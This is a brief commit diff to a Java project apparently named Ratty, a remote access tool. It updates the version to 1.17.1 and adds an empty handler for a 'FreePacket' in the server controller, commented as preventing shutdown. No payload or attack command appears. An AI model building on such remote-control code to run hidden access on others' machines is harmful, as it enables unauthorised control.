Small changes

Hotfix

Ratty/src/de/sogomn/rat/Ratty.java

@@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
 public final class Ratty {
 	
 	public static final boolean DEBUG = true;
-	public static final String VERSION = "1.17";
+	public static final String VERSION = "1.17.1";
 	public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
 	
 	private static String address;

Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@@ -465,6 +465,8 @@ public final class RattyGuiController extends AbstractRattyController implements
 			final PingPacket ping = (PingPacket)packet;
 			
 			handlePing(client, ping);
+		} else if (clazz == FreePacket.class) {
+			//To prevent shutdown
 		} else {
 			consumed = false;
 		}